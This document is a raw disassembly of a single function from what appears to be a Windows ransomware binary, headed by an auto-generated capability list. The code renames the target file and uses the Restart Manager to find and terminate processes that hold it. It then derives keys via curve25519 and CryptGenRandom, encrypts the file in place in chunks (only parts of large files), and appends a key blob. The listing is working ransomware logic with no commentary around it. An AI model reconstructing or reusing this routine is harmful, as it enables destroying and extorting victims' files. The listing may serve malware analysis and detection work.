Function at 0x140007d30
Capabilities:
Create restart manager session
Encrypt data using curve25519
Enumerate processes that use resource
Generate random numbers via winapi
Get file size
Move file
Read file on windows
Set file attributes
Terminate process
Write file on windows

Disassembly:
push rbp
push rbx
push rdi
push r13
lea rbp, [rsp - 0x2f98]
mov eax, 0x3098
call fcn.14000e1d0
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x2f80], rax
xor eax, eax
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x59], rax
xorps xmm0, xmm0
mov dword [rsp + 0x61], eax
mov word [rsp + 0x65], ax
lea edi, [rax + 1]
mov byte [rsp + 0x67], al
movabs rax, 0x6420676e756f6863
mov byte [rsp + 0x48], 9
mov qword [rbp + 0x48], rax
lea edx, [rdi + 0x7f]
movups xmmword [rsp + 0x49], xmm0
movabs rax, 0x2121676f6420746f
movdqa xmm0, xmmword [0x140004620]
mov qword [rbp + 0x60], rax
movdqa xmmword [rbp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, 7
movsxd rcx, eax
lea rbx, [rcx + rcx]
nop dword [rax]
mov rcx, qword [0x14000f810]
lea r8, [rbx + 0x40]
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r13, rax
test rax, rax
je 0x140007dd0
mov rdx, qword [rsp + 0x68]
mov rcx, rax
mov qword [rsp + 0x30c8], rsi
mov qword [rsp + 0x30d8], r14
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x140004190]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rcx, qword [rsp + 0x68]
mov r8d, 9
mov rdx, r13
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
je 0x1400089c3
mov qword [rsp + 0x30d0], r12
xor ebx, ebx
mov qword [rsp + 0x30], rbx
mov r12d, 3
mov dword [rsp + 0x28], 0x8000000
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], r12d
mov edx, 0xc0000000
mov qword [rsp + 0x3090], r15
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rcx, qword [0x14000f810]
mov r8, r13
xor edx, edx
mov r14, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp r14, 0xffffffffffffffff
jne 0x140008287
test edi, edi
je 0x140008701
mov dword [rsp + 0x40], ebx
mov eax, dword [rsp + 0x40]
nop word [rax + rax]
movsxd rax, dword [rsp + 0x40]
mov byte [rbp + rax + 0x2f30], bl
mov eax, dword [rsp + 0x40]
inc eax
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cmp eax, 0x42
jb 0x140007eb0
lea r8, [rbp + 0x2f30]
xor edx, edx
lea rcx, [rsp + 0x78]
call qword [sym.imp.RstrtMgr.DLL_RmStartSession]
test eax, eax
mov esi, ebx
sete sil
test eax, eax
jne 0x14000865c
mov ecx, dword [rsp + 0x78]
lea r8, [rsp + 0x68]
mov qword [rsp + 0x30], rbx
lea edx, [rax + 1]
mov dword [rsp + 0x28], ebx
xor r9d, r9d
mov qword [rsp + 0x20], rbx
call qword [sym.imp.RstrtMgr.DLL_RmRegisterResources]
test eax, eax
mov r14d, ebx
sete r14b
test eax, eax
jne 0x140008171
mov ecx, dword [rsp + 0x78]
lea rax, [rbp - 0x80]
lea r9, [rbp + 0x14c0]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x74]
mov dword [rsp + 0x74], 0xa
lea rdx, [rbp - 0x7c]
call qword [sym.imp.RstrtMgr.DLL_RmGetList]
test eax, eax
mov r15d, ebx
sete r15b
test eax, eax
jne 0x1400080c4
mov r15d, ebx
cmp dword [rsp + 0x74], ebx
jbe 0x140008236
mov eax, r15d
imul rsi, rax, 0x29c
mov eax, dword [rbp + rsi + 0x174c]
cmp eax, 4
je 0x1400080ab
cmp eax, 0x3e8
je 0x1400080ab
mov edi, dword [rbp + rsi + 0x14c0]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp eax, edi
je 0x1400080ab
mov r8d, edi
xor edx, edx
mov ecx, 0x100001
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140007fea
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, 0x1388
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400080ab
cmp dword [0x14000f808], ebx
je 0x1400080ab
lea r14, [rbp + 0x14cc]
add r14, rsi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov qword [rsp + 0x38], rbx
mov r8, r14
mov qword [rsp + 0x30], rbx
mov r9d, eax
mov dword [rsp + 0x28], ebx
xor edx, edx
mov ecx, 0xfde9
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd r12, eax
mov rcx, qword [0x14000f810]
lea r8, [r12 + 0x40]
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x140008032
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov qword [rsp + 0x38], rbx
mov r8, r14
mov qword [rsp + 0x30], rbx
mov r9d, eax
mov dword [rsp + 0x28], r12d
xor edx, edx
mov ecx, 0xfde9
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, rdi
lea rcx, [0x1400041a0]
mov r8d, eax
call fcn.1400053c0
mov rcx, qword [0x14000f810]
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
inc r15d
cmp r15d, dword [rsp + 0x74]
jb 0x140007f70
mov r12d, 3
jmp 0x140008236
cmp dword [0x14000f808], ebx
je 0x140008236
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r8, qword [rsp + 0x68]
xor edx, edx
mov qword [rsp + 0x38], rbx
mov r9d, eax
mov qword [rsp + 0x30], rbx
mov ecx, 0xfde9
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd r14, eax
nop word [rax + rax]
mov rcx, qword [0x14000f810]
lea r8, [r14 + 0x40]
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x140008110
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r8, qword [rsp + 0x68]
xor edx, edx
mov qword [rsp + 0x38], rbx
mov r9d, eax
mov qword [rsp + 0x30], rbx
mov ecx, 0xfde9
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov r8d, r15d
lea rcx, [0x1400041b8]
jmp 0x14000821c
cmp dword [0x14000f808], ebx
je 0x140008236
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r8, qword [rsp + 0x68]
xor edx, edx
mov qword [rsp + 0x38], rbx
mov r9d, eax
mov qword [rsp + 0x30], rbx
mov ecx, 0xfde9
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd r15, eax
nop dword [rax]
nop word [rax + rax]
mov rcx, qword [0x14000f810]
lea r8, [r15 + 0x40]
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x1400081c0
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r8, qword [rsp + 0x68]
xor edx, edx
mov qword [rsp + 0x38], rbx
mov r9d, eax
mov qword [rsp + 0x30], rbx
mov ecx, 0xfde9
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov r8d, r14d
lea rcx, [0x1400041c8]
mov rdx, rdi
call fcn.1400053c0
mov rcx, qword [0x14000f810]
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [rsp + 0x78]
call qword [sym.imp.RstrtMgr.DLL_RmEndSession]
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], 0x8000000
xor r8d, r8d
mov edx, 0xc0000000
mov dword [rsp + 0x20], r12d
mov rcx, r13
mov edi, ebx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rcx, qword [0x14000f810]
mov r8, r13
xor edx, edx
mov r14, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp r14, 0xffffffffffffffff
je 0x140007e95
lea rdx, [rbp - 0x78]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov rcx, qword [0x14000f810]
mov edx, 8
mov r8d, 0x100040
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r15, rax
test rax, rax
je 0x140008294
mov rcx, qword [0x14000f800]
lea r8, [rbp - 0x50]
mov edx, 0x20
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
movzx edx, byte [rbp - 0x31]
movzx ecx, byte [rbp - 0x50]
and dl, 0x3f
or dl, 0x40
and cl, 0xf8
mov byte [rbp - 0x31], dl
and dl, 0x3f
movaps xmm1, xmmword [rbp - 0x40]
or dl, 0x40
mov byte [rbp - 0x50], cl
movaps xmm0, xmmword [rbp - 0x50]
movups xmmword [rbp + 0x2ee0], xmm0
mov byte [rbp + 0x2ee0], cl
lea rcx, [rbp + 0x12e0]
movups xmmword [rbp + 0x2ef0], xmm1
mov byte [rbp + 0x2eff], dl
lea rdx, [rsp + 0x48]
call fcn.140006200
lea r9, [rbp + 0x12e0]
lea r8, [rbp + 0x2ee0]
lea rdx, [rbp + 0x1220]
lea rcx, [rbp + 0x1380]
call fcn.140007550
lea rdx, [rbp + 0x1220]
lea rcx, [rbp + 0x1330]
call fcn.140007960
lea r8, [rbp + 0x1330]
lea rdx, [rbp + 0x1380]
lea rcx, [rbp + 0x1220]
call fcn.140005c10
lea rdx, [rbp + 0x1220]
lea rcx, [rbp + 0x20]
call fcn.140006400
movaps xmm0, xmmword [rbp - 0x50]
lea rdx, [0x14000f178]
movaps xmm1, xmmword [rbp - 0x40]
lea rcx, [rbp + 0x13d0]
movd eax, xmm0
movups xmmword [rbp + 0x2f18], xmm1
and al, 0xf8
psrldq xmm1, 0xf
movups xmmword [rbp + 0x2f08], xmm0
mov byte [rbp + 0x2f08], al
movd eax, xmm1
and al, 0x3f
or al, 0x40
mov byte [rbp + 0x2f27], al
call fcn.140006200
lea r9, [rbp + 0x13d0]
lea r8, [rbp + 0x2f08]
lea rdx, [rbp + 0x1280]
lea rcx, [rbp + 0x1470]
call fcn.140007550
lea rdx, [rbp + 0x1280]
lea rcx, [rbp + 0x1420]
call fcn.140007960
lea r8, [rbp + 0x1420]
lea rdx, [rbp + 0x1470]
lea rcx, [rbp + 0x1280]
call fcn.140005c10
lea rdx, [rbp + 0x1280]
lea rcx, [rbp - 0x70]
call fcn.140006400
movaps xmm0, xmmword [0x1400045d0]
lea rdx, [rbp - 0x70]
movaps xmm1, xmmword [0x1400045e0]
lea rcx, [rbp + 0x70]
movaps xmmword [rbp + 0x70], xmm0
mov r8d, 0x20
movaps xmm0, xmmword [0x1400045f0]
movaps xmmword [rbp + 0x80], xmm1
movaps xmm1, xmmword [0x140004600]
movaps xmmword [rbp + 0x90], xmm0
movaps xmmword [rbp + 0xa0], xmm1
mov qword [rbp + 0x130], rbx
mov qword [rbp + 0x138], rbx
mov dword [rbp + 0x140], ebx
call fcn.14000d2b0
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x70]
call fcn.14000d8c0
mov eax, dword [rbp - 0x20]
lea rdx, [rbp]
mov dword [rbp + 0x11d4], eax
lea rcx, [rbp + 0x150]
mov eax, dword [rbp - 0x1c]
mov dword [rbp + 0x11d8], eax
mov eax, dword [rbp - 0x18]
mov dword [rbp + 0x11dc], eax
mov eax, dword [rbp - 0x14]
mov dword [rbp + 0x11e0], eax
mov eax, dword [rbp - 0x10]
mov dword [rbp + 0x11e4], eax
mov eax, dword [rbp - 0xc]
mov dword [rbp + 0x11e8], eax
mov eax, dword [rbp - 8]
mov dword [rbp + 0x11ec], eax
mov eax, dword [rbp - 4]
mov dword [rbp + 0x11f0], eax
mov dword [rbp + 0x1214], 0x100
mov dword [rbp + 0x1218], 0x100
call fcn.14000b3c0
lea rcx, [rbp - 0x20]
call fcn.14000ba10
mov dword [rbp + 0x40], eax
mov dword [rsp + 0x40], ebx
mov eax, dword [rsp + 0x40]
nop word [rax + rax]
movsxd rax, dword [rsp + 0x40]
mov byte [rbp + rax + 0x11d4], bl
mov eax, dword [rsp + 0x40]
inc eax
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cmp eax, 0x40
jb 0x140008510
mov dword [rsp + 0x40], ebx
mov eax, dword [rsp + 0x40]
nop word [rax + rax]
mov eax, dword [rsp + 0x40]
mov eax, dword [rsp + 0x40]
inc eax
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cmp eax, 0x40
jb 0x140008540
mov dword [rsp + 0x40], ebx
mov eax, dword [rsp + 0x40]
nop
movsxd rax, dword [rsp + 0x40]
mov byte [rbp + rax - 0x70], bl
mov eax, dword [rsp + 0x40]
inc eax
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cmp eax, 0x40
jb 0x140008560
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, r14
mov rdi, rbx
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov r8, qword [rbp - 0x78]
cmp r8, 0x1400000
jle 0x140008808
movabs rax, 0x6666666666666667
imul r8
mov rsi, rdx
sar rsi, 0x16
mov rax, rsi
shr rax, 0x3f
add rsi, rax
test rsi, rsi
jle 0x14000893d
nop dword [rax]
lea r9, [rsp + 0x70]
mov qword [rsp + 0x20], rbx
mov r8d, 0x100000
mov rdx, r15
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [rsp + 0x70]
lea rdx, [rbp + 0x150]
mov r9, r15
mov dword [rsp + 0x20], eax
mov r8, r15
call fcn.14000b790
xor r9d, r9d
xor r8d, r8d
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
lea r9, [rsp + 0x7c]
mov qword [rsp + 0x20], rbx
mov r8d, 0x100000
mov rdx, r15
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
add rdi, 0xa00000
xor r9d, r9d
mov rdx, rdi
xor r8d, r8d
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
sub rsi, 1
jne 0x1400085d0
jmp 0x14000893d
cmp dword [0x14000f808], ebx
je 0x1400087cc
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r8, qword [rsp + 0x68]
xor edx, edx
mov qword [rsp + 0x38], rbx
mov r9d, eax
mov qword [rsp + 0x30], rbx
mov ecx, 0xfde9
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd r15, eax
nop
mov rcx, qword [0x14000f810]
lea r8, [r15 + 0x40]
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x1400086a0
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r8, qword [rsp + 0x68]
xor edx, edx
mov qword [rsp + 0x38], rbx
mov r9d, eax
mov qword [rsp + 0x30], rbx
mov ecx, 0xfde9
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov r8d, esi
lea rcx, [0x1400041e8]
jmp 0x1400087b2
cmp dword [0x14000f808], ebx
je 0x1400087cc
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r8, qword [rsp + 0x68]
xor edx, edx
mov qword [rsp + 0x38], rbx
mov r9d, eax
mov qword [rsp + 0x30], rbx
mov ecx, 0xfde9
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd r14, eax
nop dword [rax]
nop word [rax + rax]
mov rcx, qword [0x14000f810]
lea r8, [r14 + 0x40]
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x140008750
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r8, qword [rsp + 0x68]
xor edx, edx
mov qword [rsp + 0x38], rbx
mov r9d, eax
mov qword [rsp + 0x30], rbx
mov ecx, 0xfde9
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rcx, [0x140004200]
mov rdx, rdi
call fcn.1400053c0
mov rcx, qword [0x14000f810]
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r15, qword [rsp + 0x3090]
mov r12, qword [rsp + 0x30d0]
mov r14, qword [rsp + 0x30d8]
mov rsi, qword [rsp + 0x30c8]
mov rcx, qword [rbp + 0x2f80]
xor rcx, rsp
call fcn.14000dfa0
add rsp, 0x3098
pop r13
pop rdi
pop rbx
pop rbp
ret
cmp r8, 0x500000
jle 0x1400088b3
movabs rax, 0x5555555555555556
imul r8
mov rsi, rdx
shr rsi, 0x3f
add rsi, rdx
nop dword [rax]
lea r9, [rsp + 0x70]
mov qword [rsp + 0x20], rbx
mov r8d, 0x100000
mov rdx, r15
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [rsp + 0x70]
lea rdx, [rbp + 0x150]
mov r9, r15
mov dword [rsp + 0x20], eax
mov r8, r15
call fcn.14000b790
xor r9d, r9d
xor r8d, r8d
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov r8d, dword [rsp + 0x70]
lea r9, [rsp + 0x7c]
mov rdx, r15
mov qword [rsp + 0x20], rbx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
add rdi, rsi
xor r9d, r9d
mov rdx, rdi
xor r8d, r8d
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
sub r12, 1
jne 0x140008830
jmp 0x14000893d
test r8, r8
jle 0x14000893d
cmp r8, 0x40
jle 0x1400088e0
movabs rax, 0x6666666666666667
imul r8
mov r8, rdx
sar r8, 2
mov rax, r8
shr rax, 0x3f
add r8, rax
lea r9, [rsp + 0x70]
mov qword [rsp + 0x20], rbx
mov rdx, r15
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [rsp + 0x70]
lea rdx, [rbp + 0x150]
mov r9, r15
mov dword [rsp + 0x20], eax
mov r8, r15
call fcn.14000b790
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov r8d, dword [rsp + 0x70]
lea r9, [rsp + 0x7c]
mov rdx, r15
mov qword [rsp + 0x20], rbx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [rsp + 0x40], ebx
mov eax, dword [rsp + 0x40]
nop word [rax + rax]
movsxd rax, dword [rsp + 0x40]
mov byte [rbp + rax + 0x150], bl
mov eax, dword [rsp + 0x40]
inc eax
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cmp eax, 0x10cc
jb 0x140008950
mov r9d, 2
xor r8d, r8d
mov rdx, rbx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
lea r9, [rsp + 0x7c]
mov qword [rsp + 0x20], rbx
mov r8d, 0x48
lea rdx, [rbp + 0x20]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [0x14000f810]
mov r8, r15
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400087cc
cmp dword [0x14000f808], 0
je 0x1400087dc
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r8, qword [rsp + 0x68]
xor ebx, ebx
mov qword [rsp + 0x38], rbx
mov r9d, eax
mov qword [rsp + 0x30], rbx
xor edx, edx
mov dword [rsp + 0x28], ebx
mov ecx, 0xfde9
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd r14, eax
nop dword [rax + rax]
mov rcx, qword [0x14000f810]
lea r8, [r14 + 0x40]
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x140008a10
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r8, qword [rsp + 0x68]
xor edx, edx
mov qword [rsp + 0x38], rbx
mov r9d, eax
mov qword [rsp + 0x30], rbx
mov ecx, 0xfde9
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, rdi
lea rcx, [0x140004228]
mov r8d, eax
call fcn.1400053c0
mov rcx, qword [0x14000f810]
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1400087dc